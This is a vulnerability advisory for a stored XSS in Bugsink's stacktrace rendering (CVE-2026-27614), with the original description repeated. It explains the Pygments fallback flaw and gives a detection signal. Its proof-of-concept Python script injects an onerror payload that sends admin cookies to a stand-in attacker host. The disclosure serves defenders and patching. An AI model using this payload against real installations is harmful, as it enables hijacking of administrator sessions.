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9.3
Bugsink allows attackers to inject malicious code via stacktrace
CVE-2026-27614
GHSA-vp6q-7m36-pq3w
Summary
An attacker can inject malicious code into Bugsink by storing a specially crafted event, which can execute when an admin views the stacktrace. This can happen if an attacker submits an event to a Bugsink project and an admin views the affected stacktrace. To protect against this, ensure that your Bugsink installation is properly configured and monitored for suspicious activity.
What to do
- Update bugsink to version 2.0.13.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | bugsink | <= 2.0.12 | 2.0.13 |
| bugsink | bugsink | <= 2.0.13 | – |
Original title
Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering
Original description
### Summary
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.
### Details
When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
```python
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
return lines # raw HTML returned here
# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
```
### Operational Signals
Exploitation attempts are likely to generate the diagnostic event:
```
"Pygments line count mismatch, falling back to unformatted code"
```
Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)
may see this message as an issue. While the condition can occur benignly, unexpected
occurrences, especially from unusual languages (specifically ruby), warrant review.
### PoC
Send a Sentry event to `/api/<project-id>/store/` with a valid DSN:
```python
import requests
payload = {
"exception": {"values": [{"stacktrace": {"frames": [{
"filename": "app.rb",
"lineno": 2,
"pre_context": ["<<~HEREDOC", " foo", "HEREDOC"],
"context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
"post_context": []
}]}}]}
}
requests.post(
"http://bugsink-host/api/<project-id>/store/",
json=payload,
headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
```
Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.
### Impact
This is a stored XSS vulnerability.
Successful exploitation requires:
* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
* The Bugsink ingest endpoint is reachable to the attacker.
* An administrator explicitly views the crafted event in the UI.
Under those conditions, the attacker can execute JavaScript in the administrator’s browser
and act with that user’s privileges within Bugsink.
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.
### Details
When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
```python
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
return lines # raw HTML returned here
# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
```
### Operational Signals
Exploitation attempts are likely to generate the diagnostic event:
```
"Pygments line count mismatch, falling back to unformatted code"
```
Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)
may see this message as an issue. While the condition can occur benignly, unexpected
occurrences, especially from unusual languages (specifically ruby), warrant review.
### PoC
Send a Sentry event to `/api/<project-id>/store/` with a valid DSN:
```python
import requests
payload = {
"exception": {"values": [{"stacktrace": {"frames": [{
"filename": "app.rb",
"lineno": 2,
"pre_context": ["<<~HEREDOC", " foo", "HEREDOC"],
"context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
"post_context": []
}]}}]}
}
requests.post(
"http://bugsink-host/api/<project-id>/store/",
json=payload,
headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
```
Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.
### Impact
This is a stored XSS vulnerability.
Successful exploitation requires:
* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
* The Bugsink ingest endpoint is reachable to the attacker.
* An administrator explicitly views the crafted event in the UI.
Under those conditions, the attacker can execute JavaScript in the administrator’s browser
and act with that user’s privileges within Bugsink.
nvd CVSS3.1
6.1
Vulnerability type
CWE-79
Cross-site Scripting (XSS)
- https://nvd.nist.gov/vuln/detail/CVE-2026-27614
- https://github.com/advisories/GHSA-vp6q-7m36-pq3w
- https://github.com/bugsink/bugsink/commit/e784d6aeb0d5f29b40c2779d2544c2b9ef097e... Patch
- https://github.com/bugsink/bugsink/releases/tag/2.0.13 Product Release Notes
- https://github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w Exploit Vendor Advisory
Published: 25 Feb 2026 · Updated: 12 Mar 2026 · First seen: 6 Mar 2026